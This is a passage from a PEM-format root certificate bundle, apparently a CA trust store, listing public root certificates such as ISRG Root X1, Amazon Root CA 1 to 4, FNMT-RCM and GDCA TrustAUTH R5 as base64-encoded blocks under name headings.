iGsxr/CL0BgzuNtFajT0AoAkKAoCFZVedioNmToUW/bLy1O8E00BiDeUJRtCvCLYjqOWXjrZMts+ 6PAQZe104S+nfK8nNLspfZu2zwnI5dMK/IhlZXQK3HMcXM1AsRzUtoSMTFDPaI6oWa7CJ06CojXd FPQf/7J31Ycvqm59JCfnxssm5uX+Zwdj2EUN3TpZZTlYepKZcj2chF6IIbjV9Cz82XBST3i4vTwr i5WY9bPRaM8gFH5MXF/ni+X1NYEZN9cRCLdmvtNKzoNXADrDgfgXy5I2XdGj2HUb4Ysn6npIQf1F GQatJ5lOwXBH3bWfgVMS5bGMSF0xQxfjjMZ6Y5ZLKTBOhE5iGV48zpeQpX8B653g+IuJ3SWYPZK2 fu/Z8VFRfS0myGlZYeCsargqNhEEelC9MoS+L9xy1dcdFkfkR2YgP/SWxa+OAXqlD3pk9Q0Yh9mu iNX6hME6wGkoLfINaFGq46V3xqSQDqE3izEjR8EJCOtu93ib14L8hCCZSRm2Ekax+0VVFqmjZayc Bw/qa9wfLgZy7IaIEuQt218FL+TwA9MmM+eAws1CoRc0CwIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUcRVnyMjJvXVdctA4GGqd83EkVAswDQYJKoZI hvcNAQELBQADggIBAHW7bVRLqhBYRjTyYtcWNl0IXtVsyIe9tC5G8jH4fOpCtZMWVdyhDBKg2mF+ D1hYc2Ryx+hFjtyp8iY/xnmMsVMIM4GwVhO+5lFc2JsKT0ucVlMC6U/2DWDqTUJV6HwbISHTGzrM d/K4kPFox/la/vot9L/J9UUbzjgQKjeKeaO04wlshYaT/4mWJ3iBj2fjRnRUjtkNaeJK9E10A/+y d+2VZ5fkscWrv2oj6NSU4kQoYsRL4vDY4ilrGnB+JGGTe08DMiUNRSQrlrRGar9KC/eaj8GsGsVn 82800vpzY4zvFrCopEYq+OsS7HK07/grfoxSwIuEVPkvPuNVqNxmsdnhX9izjFk0WaSrT2y7Hxjb davYy5LNlDhhDgcGH0tGEPEVvo2FXDtKK4F5D7Rpn0lQl033DlZdwJVqwjbDG2jJ9SrcR5q+ss7F Jej6A7na+RZukYT1HCjI/CbM1xyQVqdfbzoEvM14iQuODy+jqk+iGxI9FghAD/FGTNeqewjBCvVt J94Cj8rDtSvK6evIIVM4pcw72Hc3MKJP2W/R8kCtQXoXxdZKNYm3QdV8hn9VTYNKpXMgwDqvkPGa JI7ZjnHKe7iG2rKPmT4dEw0SEe7Uq/DpFXYC5ODfqiAeW2GFZECpkJcNrVPSWh2HagCXZWK0vm9q p/UsQu0yrbYhnr68 -----END CERTIFICATE----- Hellenic Academic and Research Institutions ECC RootCA 2015 =========================================================== -----BEGIN CERTIFICATE----- MIICwzCCAkqgAwIBAgIBADAKBggqhkjOPQQDAjCBqjELMAkGA1UEBhMCR1IxDzANBgNVBAcTBkF0 aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9u cyBDZXJ0LiBBdXRob3JpdHkxRDBCBgNVBAMTO0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJj aCBJbnN0aXR1dGlvbnMgRUNDIFJvb3RDQSAyMDE1MB4XDTE1MDcwNzEwMzcxMloXDTQwMDYzMDEw MzcxMlowgaoxCzAJBgNVBAYTAkdSMQ8wDQYDVQQHEwZBdGhlbnMxRDBCBgNVBAoTO0hlbGxlbmlj IEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ2VydC4gQXV0aG9yaXR5MUQwQgYD VQQDEztIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25zIEVDQyBSb290 Q0EgMjAxNTB2MBAGByqGSM49AgEGBSuBBAAiA2IABJKgQehLgoRc4vgxEZmGZE4JJS+dQS8KrjVP dJWyUWRrjWvmP3CV8AVER6ZyOFB2lQJajq4onvktTpnvLEhvTCUp6NFxW98dwXU3tNf6e3pCnGoK Vlp8aQuqgAkkbH7BRqNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0O BBYEFLQiC4KZJAEOnLvkDv2/+5cgk5kqMAoGCCqGSM49BAMCA2cAMGQCMGfOFmI4oqxiRaeplSTA GiecMjvAwNW6qef4BENThe5SId6d9SWDPp5YSy/XZxMOIQIwBeF1Ad5o7SofTUwJCA3sS61kFyjn dc5FZXIhF8siQQ6ME5g4mlRtm8rifOoCWCKR -----END CERTIFICATE----- ISRG Root X1 ============ -----BEGIN CERTIFICATE----- MIIFazCCA1OgAwIBAgIRAIIQz7DSQONZRGPgu2OCiwAwDQYJKoZIhvcNAQELBQAwTzELMAkGA1UE BhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2VhcmNoIEdyb3VwMRUwEwYDVQQD EwxJU1JHIFJvb3QgWDEwHhcNMTUwNjA0MTEwNDM4WhcNMzUwNjA0MTEwNDM4WjBPMQswCQYDVQQG EwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFyY2ggR3JvdXAxFTATBgNVBAMT DElTUkcgUm9vdCBYMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK3oJHP0FDfzm54r Vygch77ct984kIxuPOZXoHj3dcKi/vVqbvYATyjb3miGbESTtrFj/RQSa78f0uoxmyF+0TM8ukj1 3Xnfs7j/EvEhmkvBioZxaUpmZmyPfjxwv60pIgbz5MDmgK7iS4+3mX6UA5/TR5d8mUgjU+g4rk8K b4Mu0UlXjIB0ttov0DiNewNwIRt18jA8+o+u3dpjq+sWT8KOEUt+zwvo/7V3LvSye0rgTBIlDHCN Aymg4VMk7BPZ7hm/ELNKjD+Jo2FR3qyHB5T0Y3HsLuJvW5iB4YlcNHlsdu87kGJ55tukmi8mxdAQ 4Q7e2RCOFvu396j3x+UCB5iPNgiV5+I3lg02dZ77DnKxHZu8A/lJBdiB3QW0KtZB6awBdpUKD9jf 1b0SHzUvKBds0pjBqAlkd25HN7rOrFleaJ1/ctaJxQZBKT5ZPt0m9STJEadao0xAH0ahmbWnOlFu hjuefXKnEgV4We0+UXgVCwOPjdAvBbI+e0ocS3MFEvzG6uBQE3xDk3SzynTnjh8BCNAw1FtxNrQH usEwMFxIt4I7mKZ9YIqioymCzLq9gwQbooMDQaHWBfEbwrbwqHyGO0aoSCqI3Haadr8faqU9GY/r OPNk3sgrDQoo//fb4hVC1CLQJ13hef4Y53CIrU7m2Ys6xt0nUW7/vGT1M0NPAgMBAAGjQjBAMA4G A1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR5tFnme7bl5AFzgAiIyBpY 9umbbjANBgkqhkiG9w0BAQsFAAOCAgEAVR9YqbyyqFDQDLHYGmkgJykIrGF1XIpu+ILlaS/V9lZL ubhzEFnTIZd+50xx+7LSYK05qAvqFyFWhfFQDlnrzuBZ6brJFe+GnY+EgPbk6ZGQ3BebYhtF8GaV 0nxvwuo77x/Py9auJ/GpsMiu/X1+mvoiBOv/2X/qkSsisRcOj/KKNFtY2PwByVS5uCbMiogziUwt hDyC3+6WVwW6LLv3xLfHTjuCvjHIInNzktHCgKQ5ORAzI4JMPJ+GslWYHb4phowim57iaztXOoJw TdwJx4nLCgdNbOhdjsnvzqvHu7UrTkXWStAmzOVyyghqpZXjFaH3pO3JLF+l+/+sKAIuvtd7u+Nx e5AW0wdeRlN8NwdCjNPElpzVmbUq4JUagEiuTDkHzsxHpFKVK7q4+63SM1N95R1NbdWhscdCb+ZA JzVcoyi3B43njTOQ5yOf+1CceWxG1bQVs5ZufpsMljq4Ui0/1lvh+wjChP4kqKOJ2qxq4RgqsahD YVvTH9w7jXbyLeiNdd8XM2w9U/t7y0Ff/9yi0GE44Za4rF2LN9d11TPAmRGunUHBcnWEvgJBQl9n JEiU0Zsnvgc/ubhPgXRR4Xq37Z0j4r7g1SgEEzwxA57demyPxgcYxn/eR44/KJ4EBs+lVDR3veyJ m+kXQ99b21/+jh5Xos1AnX5iItreGCc= -----END CERTIFICATE----- AC RAIZ FNMT-RCM ================ -----BEGIN CERTIFICATE----- MIIFgzCCA2ugAwIBAgIPXZONMGc2yAYdGsdUhGkHMA0GCSqGSIb3DQEBCwUAMDsxCzAJBgNVBAYT AkVTMREwDwYDVQQKDAhGTk1ULVJDTTEZMBcGA1UECwwQQUMgUkFJWiBGTk1ULVJDTTAeFw0wODEw MjkxNTU5NTZaFw0zMDAxMDEwMDAwMDBaMDsxCzAJBgNVBAYTAkVTMREwDwYDVQQKDAhGTk1ULVJD TTEZMBcGA1UECwwQQUMgUkFJWiBGTk1ULVJDTTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC ggIBALpxgHpMhm5/yBNtwMZ9HACXjywMI7sQmkCpGreHiPibVmr75nuOi5KOpyVdWRHbNi63URcf qQgfBBckWKo3Shjf5TnUV/3XwSyRAZHiItQDwFj8d0fsjz50Q7qsNI1NOHZnjrDIbzAzWHFctPVr btQBULgTfmxKo0nRIBnuvMApGGWn3v7v3QqQIecaZ5JCEJhfTzC8PhxFtBDXaEAUwED653cXeuYL j2VbPNmaUtu1vZ5Gzz3rkQUCwJaydkxNEJY7kvqcfw+Z374jNUUeAlz+taibmSXaXvMiwzn15Cou 08YfxGyqxRxqAQVKL9LFwag0Jl1mpdICIfkYtwb1TplvqKtMUejPUBjFd8g5CSxJkjKZqLsXF3mw WsXmo8RZZUc1g16p6DULmbvkzSDGm0oGObVo/CK67lWMK07q87Hj/LaZmtVC+nFNCM+HHmpxffnT tOmlcYF7wk5HlqX2doWjKI/pgG6BU6VtX7hI+cL5NqYuSf+4lsKMB7ObiFj86xsc3i1w4peSMKGJ 47xVqCfWS+2QrYv6YyVZLag13cqXM7zlzced0ezvXg5KkAYmY6252TUtB7p2ZSysV4999AeU14EC ll2jB0nVetBX+RvnU0Z1qrB5QstocQjpYL05ac70r8NWQMetUqIJ5G+GR4of6ygnXYMgrwTJbFaa i0b1AgMBAAGjgYMwgYAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYE FPd9xf3E6Jobd2Sn9R2gzL+HYJptMD4GA1UdIAQ3MDUwMwYEVR0gADArMCkGCCsGAQUFBwIBFh1o dHRwOi8vd3d3LmNlcnQuZm5tdC5lcy9kcGNzLzANBgkqhkiG9w0BAQsFAAOCAgEAB5BK3/MjTvDD nFFlm5wioooMhfNzKWtN/gHiqQxjAb8EZ6WdmF/9ARP67Jpi6Yb+tmLSbkyU+8B1RXxlDPiyN8+s D8+Nb/kZ94/sHvJwnvDKuO+3/3Y3dlv2bojzr2IyIpMNOmqOFGYMLVN0V2Ue1bLdI4E7pWYjJ2cJ j+F3qkPNZVEI7VFY/uY5+ctHhKQV8Xa7pO6kO8Rf77IzlhEYt8llvhjho6Tc+hj507wTmzl6NLrT Qfv6MooqtyuGC2mDOL7Nii4LcK2NJpLuHvUBKwrZ1pebbuCoGRw6IYsMHkCtA+fdZn71uSANA+iW +YJF1DngoABd15jmfZ5nc8OaKveri6E6FO80vFIOiZiaBECEHX5FaZNXzuvO+FB8TxxuBEOb+dY7 Ixjp6o7RTUaN8Tvkasq6+yO3m/qZASlaWFot4/nUbQ4mrcFuNLwy+AwF+mWj2zs3gyLp1txyM/1d 8iC9djwj2ij3+RvrWWTV3F9yfiD8zYm1kGdNYno/Tq0dwzn+evQoFt9B9kiABdcPUXmsEKvU7ANm 5mqwujGSQkBqvjrTcuFqN1W8rB2Vt2lh8kORdOag0wokRqEIr9baRRmW1FMdW4R58MD3R++Lj8UG rp1MYp3/RgT408m2ECVAdf4WqslKYIYvuu8wd+RU4riEmViAqhOLUTpPSPaLtrM= -----END CERTIFICATE----- Amazon Root CA 1 ================ -----BEGIN CERTIFICATE----- MIIDQTCCAimgAwIBAgITBmyfz5m/jAo54vB4ikPmljZbyjANBgkqhkiG9w0BAQsFADA5MQswCQYD VQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAxMB4XDTE1 MDUyNjAwMDAwMFoXDTM4MDExNzAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpv bjEZMBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBALJ4gHHKeNXjca9HgFB0fW7Y14h29Jlo91ghYPl0hAEvrAIthtOgQ3pOsqTQNroBvo3bSMgH FzZM9O6II8c+6zf1tRn4SWiw3te5djgdYZ6k/oI2peVKVuRF4fn9tBb6dNqcmzU5L/qwIFAGbHrQ gLKm+a/sRxmPUDgH3KKHOVj4utWp+UhnMJbulHheb4mjUcAwhmahRWa6VOujw5H5SNz/0egwLX0t dHA114gk957EWW67c4cX8jJGKLhD+rcdqsq08p8kDi1L93FcXmn/6pUCyziKrlA4b9v7LWIbxcce VOF34GfID5yHI9Y/QCB/IIDEgEw+OyQmjgSubJrIqg0CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB /zAOBgNVHQ8BAf8EBAMCAYYwHQYDVR0OBBYEFIQYzIU07LwMlJQuCFmcx7IQTgoIMA0GCSqGSIb3 DQEBCwUAA4IBAQCY8jdaQZChGsV2USggNiMOruYou6r4lK5IpDB/G/wkjUu0yKGX9rbxenDIU5PM CCjjmCXPI6T53iHTfIUJrU6adTrCC2qJeHZERxhlbI1Bjjt/msv0tadQ1wUsN+gDS63pYaACbvXy 8MWy7Vu33PqUXHeeE6V/Uq2V8viTO96LXFvKWlJbYK8U90vvo/ufQJVtMVT8QtPHRh8jrdkPSHCa 2XV4cdFyQzR1bldZwgJcJmApzyMZFo6IQ6XU5MsI+yMRQ+hDKXJioaldXgjUkK642M4UwtBV8ob2 xJNDd2ZhwLnoQdeXeGADbkpyrqXRfboQnoZsG4q5WTP468SQvvG5 -----END CERTIFICATE----- Amazon Root CA 2 ================ -----BEGIN CERTIFICATE----- MIIFQTCCAymgAwIBAgITBmyf0pY1hp8KD+WGePhbJruKNzANBgkqhkiG9w0BAQwFADA5MQswCQYD VQQGEwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAyMB4XDTE1 MDUyNjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpv bjEZMBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC ggIBAK2Wny2cSkxKgXlRmeyKy2tgURO8TW0G/LAIjd0ZEGrHJgw12MBvIITplLGbhQPDW9tK6Mj4 kHbZW0/jTOgGNk3Mmqw9DJArktQGGWCsN0R5hYGCrVo34A3MnaZMUnbqQ523BNFQ9lXg1dKmSYXp N+nKfq5clU1Imj+uIFptiJXZNLhSGkOQsL9sBbm2eLfq0OQ6PBJTYv9K8nu+NQWpEjTj82R0Yiw9 AElaKP4yRLuH3WUnAnE72kr3H9rN9yFVkE8P7K6C4Z9r2UXTu/Bfh+08LDmG2j/e7HJV63mjrdvd fLC6HM783k81ds8P+HgfajZRRidhW+mez/CiVX18JYpvL7TFz4QuK/0NURBs+18bvBt+xa47mAEx kv8LV/SasrlX6avvDXbR8O70zoan4G7ptGmh32n2M8ZpLpcTnqWHsFcQgTfJU7O7f/aS0ZzQGPSS btqDT6ZjmUyl+17vIWR6IF9sZIUVyzfpYgwLKhbcAS4y2j5L9Z469hdAlO+ekQiG+r5jqFoz7Mt0 Q5X5bGlSNscpb/xVA1wf+5+9R+vnSUeVC06JIglJ4PVhHvG/LopyboBZ/1c6+XUyo05f7O0oYtlN c/LMgRdg7c3r3NunysV+Ar3yVAhU/bQtCSwXVEqY0VThUWcI0u1ufm8/0i2BWSlmy5A5lREedCf+ 3euvAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSw DPBMMPQFWAJI/TPlUq9LhONmUjANBgkqhkiG9w0BAQwFAAOCAgEAqqiAjw54o+Ci1M3m9Zh6O+oA A7CXDpO8Wqj2LIxyh6mx/H9z/WNxeKWHWc8w4Q0QshNabYL1auaAn6AFC2jkR2vHat+2/XcycuUY +gn0oJMsXdKMdYV2ZZAMA3m3MSNjrXiDCYZohMr/+c8mmpJ5581LxedhpxfL86kSk5Nrp+gvU5LE YFiwzAJRGFuFjWJZY7attN6a+yb3ACfAXVU3dJnJUH/jWS5E4ywl7uxMMne0nxrpS10gxdr9HIcW xkPo1LsmmkVwXqkLN1PiRnsn/eBG8om3zEK2yygmbtmlyTrIQRNg91CMFa6ybRoVGld45pIq2WWQ gj9sAq+uEjonljYE1x2igGOpm/HlurR8FLBOybEfdF849lHqm/osohHUqS0nGkWxr7JOcQ3AWEbW aQbLU8uz/mtBzUF+fUwPfHJ5elnNXkoOrJupmHN5fLT0zLm4BwyydFy4x2+IoZCn9Kr5v2c69BoV Yh63n749sSmvZ6ES8lgQGVMDMBu4Gon2nL2XA46jCfMdiyHxtN/kHNGfZQIG6lzWE7OE76KlXIx3 KadowGuuQNKotOrN8I1LOJwZmhsoVLiJkO/KdYE+HvJkJMcYr07/R54H9jVlpNMKVv/1F2Rs76gi JUmTtt8AF9pYfl3uxRuw0dFfIRDH+fO6AgonB8Xx1sfT4PsJYGw= -----END CERTIFICATE----- Amazon Root CA 3 ================ -----BEGIN CERTIFICATE----- MIIBtjCCAVugAwIBAgITBmyf1XSXNmY/Owua2eiedgPySjAKBggqhkjOPQQDAjA5MQswCQYDVQQG EwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSAzMB4XDTE1MDUy NjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZ MBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgMzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABCmXp8ZB f8ANm+gBG1bG8lKlui2yEujSLtf6ycXYqm0fc4E7O5hrOXwzpcVOho6AF2hiRVd9RFgdszflZwjr Zt6jQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMB0GA1UdDgQWBBSrttvXBp43 rDCGB5Fwx5zEGbF4wDAKBggqhkjOPQQDAgNJADBGAiEA4IWSoxe3jfkrBqWTrBqYaGFy+uGh0Psc eGCmQ5nFuMQCIQCcAu/xlJyzlvnrxir4tiz+OpAUFteMYyRIHN8wfdVoOw== -----END CERTIFICATE----- Amazon Root CA 4 ================ -----BEGIN CERTIFICATE----- MIIB8jCCAXigAwIBAgITBmyf18G7EEwpQ+Vxe3ssyBrBDjAKBggqhkjOPQQDAzA5MQswCQYDVQQG EwJVUzEPMA0GA1UEChMGQW1hem9uMRkwFwYDVQQDExBBbWF6b24gUm9vdCBDQSA0MB4XDTE1MDUy NjAwMDAwMFoXDTQwMDUyNjAwMDAwMFowOTELMAkGA1UEBhMCVVMxDzANBgNVBAoTBkFtYXpvbjEZ MBcGA1UEAxMQQW1hem9uIFJvb3QgQ0EgNDB2MBAGByqGSM49AgEGBSuBBAAiA2IABNKrijdPo1MN /sGKe0uoe0ZLY7Bi9i0b2whxIdIA6GO9mif78DluXeo9pcmBqqNbIJhFXRbb/egQbeOc4OO9X4Ri 83BkM6DLJC9wuoihKqB1+IGuYgbEgds5bimwHvouXKNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNV HQ8BAf8EBAMCAYYwHQYDVR0OBBYEFNPsxzplbszh2naaVvuc84ZtV+WBMAoGCCqGSM49BAMDA2gA MGUCMDqLIfG9fhGt0O9Yli/W651+kI0rz2ZVwyzjKKlwCkcO8DdZEv8tmZQoTipPNU0zWgIxAOp1 AE47xDqUEpHJWEadIRNyp4iciuRMStuW1KyLa2tJElMzrdfkviT8tQp21KW8EA== -----END CERTIFICATE----- TUBITAK Kamu SM SSL Kok Sertifikasi - Surum 1 ============================================= -----BEGIN CERTIFICATE----- MIIEYzCCA0ugAwIBAgIBATANBgkqhkiG9w0BAQsFADCB0jELMAkGA1UEBhMCVFIxGDAWBgNVBAcT D0dlYnplIC0gS29jYWVsaTFCMEAGA1UEChM5VHVya2l5ZSBCaWxpbXNlbCB2ZSBUZWtub2xvamlr IEFyYXN0aXJtYSBLdXJ1bXUgLSBUVUJJVEFLMS0wKwYDVQQLEyRLYW11IFNlcnRpZmlrYXN5b24g TWVya2V6aSAtIEthbXUgU00xNjA0BgNVBAMTLVRVQklUQUsgS2FtdSBTTSBTU0wgS29rIFNlcnRp ZmlrYXNpIC0gU3VydW0gMTAeFw0xMzExMjUwODI1NTVaFw00MzEwMjUwODI1NTVaMIHSMQswCQYD VQQGEwJUUjEYMBYGA1UEBxMPR2ViemUgLSBLb2NhZWxpMUIwQAYDVQQKEzlUdXJraXllIEJpbGlt c2VsIHZlIFRla25vbG9qaWsgQXJhc3Rpcm1hIEt1cnVtdSAtIFRVQklUQUsxLTArBgNVBAsTJEth bXUgU2VydGlmaWthc3lvbiBNZXJrZXppIC0gS2FtdSBTTTE2MDQGA1UEAxMtVFVCSVRBSyBLYW11 IFNNIFNTTCBLb2sgU2VydGlmaWthc2kgLSBTdXJ1bSAxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A MIIBCgKCAQEAr3UwM6q7a9OZLBI3hNmNe5eA027n/5tQlT6QlVZC1xl8JoSNkvoBHToP4mQ4t4y8 6Ij5iySrLqP1N+RAjhgleYN1Hzv/bKjFxlb4tO2KRKOrbEz8HdDc72i9z+SqzvBV96I01INrN3wc wv61A+xXzry0tcXtAA9TNypN9E8Mg/uGz8v+jE69h/mniyFXnHrfA2eJLJ2XYacQuFWQfw4tJzh0 3+f92k4S400VIgLI4OD8D62K18lUUMw7D8oWgITQUVbDjlZ/iSIzL+aFCr2lqBs23tPcLG07xxO9 WSMs5uWk99gL7eqQQESolbuT1dCANLZGeA4fAJNG4e7p+exPFwIDAQABo0IwQDAdBgNVHQ4EFgQU ZT/HiobGPN08VFw1+DrtUgxHV8gwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJ KoZIhvcNAQELBQADggEBACo/4fEyjq7hmFxLXs9rHmoJ0iKpEsdeV31zVmSAhHqT5Am5EM2fKifh AHe+SMg1qIGf5LgsyX8OsNJLN13qudULXjS99HMpw+0mFZx+CFOKWI3QSyjfwbPfIPP54+M638yc lNhOT8NrF7f3cuitZjO1JVOr4PhMqZ398g26rrnZqsZr+ZO7rqu4lzwDGrpDxpa5RXI4s6ehlj2R e37AIVNMh+3yC1SVUZPVIqUNivGTDj5UDrDYyU7c8jEyVupk+eq1nRZmQnLzf9OxMUP8pI4X8W0j q5Rm+K37DwhuJi1/FwcJsoz7UMCflo3Ptv0AnVoUmr8CRPXBwp8iXqIPoeM= -----END CERTIFICATE----- GDCA TrustAUTH R5 ROOT ====================== -----BEGIN CERTIFICATE----- MIIFiDCCA3CgAwIBAgIIfQmX/vBH6nowDQYJKoZIhvcNAQELBQAwYjELMAkGA1UEBhMCQ04xMjAw BgNVBAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZIENPLixMVEQuMR8wHQYDVQQD DBZHRENBIFRydXN0QVVUSCBSNSBST09UMB4XDTE0MTEyNjA1MTMxNVoXDTQwMTIzMTE1NTk1OVow YjELMAkGA1UEBhMCQ04xMjAwBgNVBAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZ IENPLixMVEQuMR8wHQYDVQQDDBZHRENBIFRydXN0QVVUSCBSNSBST09UMIICIjANBgkqhkiG9w0B AQEFAAOCAg8AMIICCgKCAgEA2aMW8Mh0dHeb7zMNOwZ+Vfy1YI92hhJCfVZmPoiC7XJjDp6L3TQs AlFRwxn9WVSEyfFrs0yw6ehGXTjGoqcuEVe6ghWinI9tsJlKCvLriXBjTnnEt1u9ol2x8kECK62p OqPseQrsXzrj/e+APK00mxqriCZ7VqKChh/rNYmDf1+uKU49tm7srsHwJ5uu4/Ts765/94Y9cnrr pftZTqfrlYwiOXnhLQiPzLyRuEH3FMEjqcOtmkVEs7LXLM3GKeJQEK5cy4KOFxg2fZfmiJqwTTQJ 9Cy5WmYqsBebnh52nUpmMUHfP/vFBu8btn4aRjb3ZGM74zkYI+dndRTVdVeSN72+ahsmUPI2JgaQ xXABZG12ZuGR224HwGGALrIuL4xwp9E7PLOR5G62xDtw8mySlwnNR30YwPO7ng/Wi64HtloPzgsM R6flPri9fcebNaBhlzpBdRfMK5Z3KpIhHtmVdiBnaM8Nvd/WHwlqmuLMc3GkL30SgLdTMEZeS1SZ D2fJpcjyIMGC7J0R38IC+xo70e0gmu9lZJIQDSri3nDxGGeCjGHeuLzRL5z7D9Ar7Rt2ueQ5Vfj4 oR24qoAATILnsn8JuLwwoC8N9VKejveSswoAHQBUlwbgsQfZxw9cZX08bVlX5O2ljelAU58VS6Bx 9hoh49pwBiFYFIeFd3mqgnkCAwEAAaNCMEAwHQYDVR0OBBYEFOLJQJ9NzuiaoXzPDj9lxSmIahlR MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQDRSVfg p8xoWLoBDysZzY2wYUWsEe1jUGn4H3++Fo/9nesLqjJHdtJnJO29fDMylyrHBYZmDRd9FBUb1Ov9 H5r2XpdptxolpAqzkT9fNqyL7FeoPueBihhXOYV0GkLH6VsTX4/5COmSdI31R9KrO9b7eGZONn35 6ZLpBN79SWP8bfsUcZNnL0dKt7n/HipzcEYwv1ryL3ml4Y0M2fmyYzeMN2WFcGpcWwlyua1jPLHd +PwyvzeG5LuOmCd+uh8W4XAR8gPfJWIyJyYYMoSf/wA6E7qaTfRPuBRwIrHKK5DOKcFw9C+df/KQ HtZa37dG/OaG+svgIHZ6uqbL9XzeYqWxi+7egmaKTjowHz+Ay60nugxe19CxVsp3cbK1daFQqUBD F8Io2c9Si1vIY9RCPqAzekYu9wogRlR+ak8x8YF+QnQ4ZXMn7sZ8uI7XpTrXmKGcjBBV09tL7ECQ 8s1uV9JiDnxXk7Gnbc2dg7sq5+W2O3FYrf3RRbxake5TFW/TRQl1brqQXR4EzzffHqhmsYzmIGrv /EhOdJhCrylvLmrH+33RZjEizIYAfmaDDEL0vTSSwxrqT8p+ck0LcIymSLumoRT2+1hEmRSuqguT aaApJUqlyyvdimYHFngVV3Eb7PVHhPOeMTd61X8kreS8/f3MboPoDKi3QWwH3b08hpcv0g== -----END CERTIFICATE----- TrustCor RootCert CA-1 ====================== -----BEGIN CERTIFICATE----- MIIEMDCCAxigAwIBAgIJANqb7HHzA7AZMA0GCSqGSIb3DQEBCwUAMIGkMQswCQYDVQQGEwJQQTEP MA0GA1UECAwGUGFuYW1hMRQwEgYDVQQHDAtQYW5hbWEgQ2l0eTEkMCIGA1UECgwbVHJ1c3RDb3Ig U3lzdGVtcyBTLiBkZSBSLkwuMScwJQYDVQQLDB5UcnVzdENvciBDZXJ0aWZpY2F0ZSBBdXRob3Jp dHkxHzAdBgNVBAMMFlRydXN0Q29yIFJvb3RDZXJ0IENBLTEwHhcNMTYwMjA0MTIzMjE2WhcNMjkx MjMxMTcyMzE2WjCBpDELMAkGA1UEBhMCUEExDzANBgNVBAgMBlBhbmFtYTEUMBIGA1UEBwwLUGFu YW1hIENpdHkxJDAiBgNVBAoMG1RydXN0Q29yIFN5c3RlbXMgUy4gZGUgUi5MLjEnMCUGA1UECwwe VHJ1c3RDb3IgQ2VydGlmaWNhdGUgQXV0aG9yaXR5MR8wHQYDVQQDDBZUcnVzdENvciBSb290Q2Vy dCBDQS0xMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv463leLCJhJrMxnHQFgKq1mq jQCj/IDHUHuO1CAmujIS2CNUSSUQIpidRtLByZ5OGy4sDjjzGiVoHKZaBeYei0i/mJZ0PmnK6bV4 pQa81QBeCQryJ3pS/C3Vseq0iWEk8xoT26nPUu0MJLq5nux+AHT6k61sKZKuUbS701e/s/OojZz0 JEsq1pme9J7+wH5COucLlVPat2gOkEz7cD+PSiyU8ybdY2mplNgQTsVHCJCZGxdNuWxu72CVEY4h gLW9oHPY0LJ3xEXqWib7ZnZ2+AYfYW0PVcWDtxBWcgYHpfOxGgMFZA6dWorWhnAbJN7+KIor0Gqw /Hqi3LJ5DotlDwIDAQABo2MwYTAdBgNVHQ4EFgQU7mtJPHo/DeOxCbeKyKsZn3MzUOcwHwYDVR0j BBgwFoAU7mtJPHo/DeOxCbeKyKsZn3MzUOcwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AYYwDQYJKoZIhvcNAQELBQADggEBACUY1JGPE+6PHh0RU9otRCkZoB5rMZ5NDp6tPVxBb5UrJKF5 mDo4Nvu7Zp5I/5CQ7z3UuJu0h3U/IJvOcs+hVcFNZKIZBqEHMwwLKeXx6quj7LUKdJDHfXLy11yf ke+Ri7fc7Waiz45mO7yfOgLgJ90WmMCV1Aqk5IGadZQ1nJBfiDcGrVmVCrDRZ9MZyonnMlo2HD6C qFqTvsbQZJG2z9m2GM/bftJlo6bEjhcxwft+dtvTheNYsnd6djtsL1Ac59v2Z3kf9YKVmgenFK+P 